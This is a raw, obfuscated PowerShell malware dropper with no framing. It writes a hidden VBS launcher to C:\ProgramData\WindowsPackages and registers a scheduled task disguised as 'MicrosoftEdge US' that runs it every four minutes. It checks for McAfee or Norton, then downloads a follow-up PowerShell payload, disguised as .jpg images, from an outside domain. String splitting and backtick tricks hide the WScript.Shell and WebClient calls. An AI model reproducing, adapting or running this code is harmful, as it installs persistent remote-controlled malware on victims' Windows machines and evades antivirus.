.forcpVOxm0gJB0kE8QpU.txt

Function ELLI
{

start-sleep -s 2
[system.io.directory]::CreateDirectory("C:\ProgramData\WindowsPackages\")
New-Item -Path C:\ProgramData\WindowsPackages\USOpera55.vbs -ItemType File
start-sleep -s 1
Set-ItemProperty -Path C:\ProgramData\WindowsPackages\USOpera55.vbs -Name IsReadOnly -Value $True
start-sleep -s 1
Add-Content -Path C:\ProgramData\WindowsPackages\USOpera55.vbs -Value 'set A = CreateObject("W"+"S"+"c"+"r"+"i"+"p"+"t"+"."+"S"+"h"+"e"+"l"+"l")' -Force
start-sleep -s 1
Add-Content -Path C:\ProgramData\WindowsPackages\USOpera55.vbs -Value 'A.run "powershell -ExecutionPolicy Bypass & C"+":"+"\"+"P"+"r"+"o"+"g"+"r"+"a"+"m"+"D"+"a"+"t"+"a"+"\"+"W"+"i"+"n"+"d"+"o"+"w"+"s"+"P"+"a"+"c"+"k"+"a"+"g"+"e"+"s"+"\ChromeRobot69.ps1",0' -Force
start-sleep -s 1
Get-Content -Path C:\ProgramData\WindowsPackages\USOpera55.vbs

start-sleep -s 3



$action = New-ScheduledTaskAction -Execute 'C:\ProgramData\WindowsPackages\USOpera55.vbs'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 4)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MicrosoftEdge US"

start-sleep -s 6


$DEV = 'C:\Prog>><<<>><<<>>ges\'.Replace(">><<<>><<<>>","ramData\WindowsPacka")
$mcAfee = "C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe"

$nort = "C:\Program Files\Norton Security\isolate.ini"

if([System.IO.File]::Exists($mcAfee)){

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://buypropertyinuae.com/.mcafnXEE66N7BERq4USc.jpg', $DEV + 'ChromeRobot69.ps1')){
}

start-sleep -s 7
Start "C:\ProgramData\WindowsPackages\USOpera55.vbs"
}

elseif([System.IO.File]::Exists($nort)){

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://buypropertyinuae.com/.norAJTRCyI9uwDEQlVT.jpg', $DEV + 'ChromeRobot69.ps1')){
}

start-sleep -s 7
Start "C:\ProgramData\WindowsPackages\USOpera55.vbs"
}
else{

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://buypropertyinuae.com/.defxNmo9x2e7thJKpD0.jpg', $DEV + 'ChromeRobot69.ps1')){
}


start-sleep -s 7
Start "C:\ProgramData\WindowsPackages\USOpera55.vbs"

}

}
IEX ELLI